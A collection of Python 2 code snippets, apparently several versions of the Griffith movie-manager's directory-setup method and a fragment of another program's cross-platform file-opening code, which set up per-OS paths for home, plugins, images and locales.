def locations(self): locations = {} locations['exec'] = os.path.abspath(os.path.dirname(sys.argv[0])) # deprecated locations['lib'] = os.path.dirname(__file__) if os.name == 'nt' or os.name == 'win32': import winshell mydocs = winshell.my_documents() locations['home'] = os.path.join(mydocs, 'griffith') #locations['home'] = os.path.join(os.path.expanduser('~'), 'griffith') locations['movie_plugins'] = "%s\\lib\\plugins\\movie" % locations['exec'] locations['export_plugins'] = "%s\\lib\\plugins\\export" % locations['exec'] locations['images'] = "%s\\images" % locations['exec'] locations['share'] = locations['images'] locations['glade'] = "%s\\glade\\" % locations['exec'] locations['desktop'] = '' locations['i18n'] = "%s\\i18n" % locations['exec'] os.environ['PATH'] += ";lib;" # windows hack for locale setting lang = os.getenv('LANG') if lang is None: defaultLang, defaultEnc = locale.getdefaultlocale() if defaultLang: lang = defaultLang if lang: os.environ['LANG'] = lang elif os.name == 'posix': locations['home'] = os.path.join(os.path.expanduser('~'), ".griffith") locations['share'] = os.path.abspath(os.path.join(locations['lib'], '..')) locations['glade'] = os.path.join(locations['share'], 'glade') locations['i18n'] = os.path.abspath(os.path.join(locations['share'], '..', 'locale')) if not os.path.isdir(locations['i18n']): locations['i18n'] = os.path.join(locations['share'], 'i18n') #some locations if os.path.isdir(os.path.join(locations['share'], 'plugins')): locations['movie_plugins'] = os.path.join(locations['share'], 'plugins', 'movie') locations['export_plugins'] = os.path.join(locations['share'], 'plugins', 'export') else: locations['movie_plugins'] = os.path.join(locations['lib'], 'plugins', 'movie') locations['export_plugins'] = os.path.join(locations['lib'], 'plugins', 'export') locations['images'] = os.path.join(locations['share'], 'images') locations['desktop'] = os.path.join(os.path.expanduser('~'), 'Desktop') else: print 'Operating system not supported' sys.exit() from tempfile import gettempdir locations['temp'] = gettempdir() if self._tmp_home is not None: # see gconsole.check_args locations['home'] = self._tmp_home del self._tmp_home try: if not os.path.exists(locations['home']): self.debug.show('Creating %s' % locations['home']) os.makedirs(locations['home']) else: self.debug.show("Using Griffith directory: %s" % locations['home']) except OSError: self.debug.show('Unable to create griffith directory.') raise sys.exit() if not os.access(locations['home'], os.W_OK): self.debug.show('Cannot write to griffith directory, %s' % locations['home']) sys.exit() # includes plugins in system path for easier importing sys.path.append(locations['lib']) sys.path.append(locations['movie_plugins']) sys.path.append(locations['export_plugins']) self.locations = locations return locations
# PyInstaller creates a temp folder and stores path in _MEIPASS base_path = sys._MEIPASS except Exception: base_path = os.path.abspath(os.path.dirname(__file__)) return os.path.join(base_path, relative_path) if sys.platform.startswith('win'): import winshell def win_open(filename): os.startfile(filename) Detect.open_method = win_open Detect.icon = resource_path('disco.ico') Detect.doc_path = winshell.my_documents() else: Detect.doc_path = os.path.join(os.path.expanduser('~'), 'Documents') if sys.platform.startswith('darwin'): def darwin_open(filename): subcall(('open', filename)) Detect.open_method = darwin_open Detect.icon = resource_path('disco-1024.png') else: Detect.icon = resource_path('disco-256.png') if os.name == 'posix': def posix_open(filename): subcall(('xdg-open', filename))
def locations(self, home_dir): defaultLang, defaultEnc = getdefaultlocale() if defaultEnc is None: defaultEnc = 'UTF-8' locations = {} locations['exec'] = os.path.abspath(os.path.dirname(sys.argv[0])) # deprecated locations['lib'] = os.path.dirname(__file__) locations['home'] = home_dir if os.name == 'nt' or os.name.startswith('win'): # win32, win64 import winshell from win32com.shell import shellcon, shell import shutil mydocs = winshell.my_documents() locations['movie_plugins'] = "%s\\lib\\plugins\\movie" % locations['exec'] locations['export_plugins'] = "%s\\lib\\plugins\\export" % locations['exec'] locations['images'] = "%s\\images" % locations['exec'] locations['share'] = locations['images'] locations['glade'] = "%s\\glade\\" % locations['exec'] locations['desktop'] = '' locations['i18n'] = "%s\\i18n" % locations['exec'] os.environ['PATH'] += ";lib;" # griffith dir location should point to 'Application Data' # this is changed on 0.9.5+svn so we need to make it backward compatible if os.path.exists(os.path.join(mydocs, 'griffith').decode(defaultEnc)): shutil.move(os.path.join(mydocs, 'griffith').decode(defaultEnc),os.path.join(shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0), 'griffith').decode(defaultEnc)) # windows hack for locale setting lang = os.getenv('LANG') if lang is None: if defaultLang: lang = defaultLang if lang: os.environ['LANG'] = lang elif os.name == 'posix': locations['share'] = os.path.abspath(os.path.join(locations['lib'], '..')) locations['glade'] = os.path.join(locations['share'], 'glade') locations['i18n'] = os.path.abspath(os.path.join(locations['share'], '..', 'locale')) if not os.path.isdir(locations['i18n']): locations['i18n'] = os.path.join(locations['share'], 'i18n') #some locations locations['movie_plugins'] = os.path.join(locations['lib'], 'plugins', 'movie') locations['export_plugins'] = os.path.join(locations['lib'], 'plugins', 'export') locations['images'] = os.path.join(locations['share'], 'images') locations['desktop'] = os.path.join(os.path.expanduser('~'), 'Desktop').decode(defaultEnc) else: print 'Operating system not supported' sys.exit() from tempfile import gettempdir locations['temp'] = gettempdir() try: if not os.path.exists(locations['home']): log.info('Creating %s', locations['home']) os.makedirs(locations['home']) else: log.info("Using Griffith directory: %s", locations['home']) except OSError: log.info('Unable to create griffith directory.') raise sys.exit() if not os.access(locations['home'], os.W_OK): log.info('Cannot write to griffith directory, %s', locations['home']) sys.exit() locations['posters'] = os.path.join(locations['home'], 'posters') if not os.path.isdir(locations['posters']): os.makedirs(locations['posters']) # includes plugins in system path for easier importing sys.path.append(locations['lib']) sys.path.append(locations['movie_plugins']) sys.path.append(locations['export_plugins']) self.locations = locations return locations
def locations(self): defaultLang, defaultEnc = getdefaultlocale() if defaultEnc is None: defaultEnc = "UTF-8" locations = {} locations["exec"] = os.path.abspath(os.path.dirname(sys.argv[0])) # deprecated locations["lib"] = os.path.dirname(__file__) if os.name == "nt" or os.name.startswith("win"): # win32, win64 import winshell from win32com.shell import shellcon, shell import shutil mydocs = winshell.my_documents() locations["movie_plugins"] = "%s\\lib\\plugins\\movie" % locations["exec"] locations["export_plugins"] = "%s\\lib\\plugins\\export" % locations["exec"] locations["images"] = "%s\\images" % locations["exec"] locations["share"] = locations["images"] locations["glade"] = "%s\\glade\\" % locations["exec"] locations["desktop"] = "" locations["i18n"] = "%s\\i18n" % locations["exec"] os.environ["PATH"] += ";lib;" # griffith dir location should point to 'Application Data' # this is changed on 0.9.5+svn so we need to make it backward compatible if os.path.exists(os.path.join(mydocs, "griffith").decode(defaultEnc)): shutil.move( os.path.join(mydocs, "griffith").decode(defaultEnc), os.path.join(shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0), "griffith").decode(defaultEnc), ) locations["home"] = os.path.join(shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0), "griffith").decode( defaultEnc ) # windows hack for locale setting lang = os.getenv("LANG") if lang is None: if defaultLang: lang = defaultLang if lang: os.environ["LANG"] = lang elif os.name == "posix": locations["home"] = os.path.join(os.path.expanduser("~"), ".griffith").decode(defaultEnc) locations["share"] = os.path.abspath(os.path.join(locations["lib"], "..")) locations["glade"] = os.path.join(locations["share"], "glade") locations["i18n"] = os.path.abspath(os.path.join(locations["share"], "..", "locale")) if not os.path.isdir(locations["i18n"]): locations["i18n"] = os.path.join(locations["share"], "i18n") # some locations locations["movie_plugins"] = os.path.join(locations["lib"], "plugins", "movie") locations["export_plugins"] = os.path.join(locations["lib"], "plugins", "export") locations["images"] = os.path.join(locations["share"], "images") locations["desktop"] = os.path.join(os.path.expanduser("~"), "Desktop").decode(defaultEnc) else: print "Operating system not supported" sys.exit() from tempfile import gettempdir locations["temp"] = gettempdir() if self._tmp_home is not None: # see gconsole.check_args locations["home"] = self._tmp_home.decode(defaultEnc) del self._tmp_home try: if not os.path.exists(locations["home"]): self.debug.show("Creating %s" % locations["home"]) os.makedirs(locations["home"]) else: self.debug.show("Using Griffith directory: %s" % locations["home"]) except OSError: self.debug.show("Unable to create griffith directory.") raise sys.exit() if not os.access(locations["home"], os.W_OK): self.debug.show("Cannot write to griffith directory, %s" % locations["home"]) sys.exit() # includes plugins in system path for easier importing sys.path.append(locations["lib"]) sys.path.append(locations["movie_plugins"]) sys.path.append(locations["export_plugins"]) self.locations = locations return locations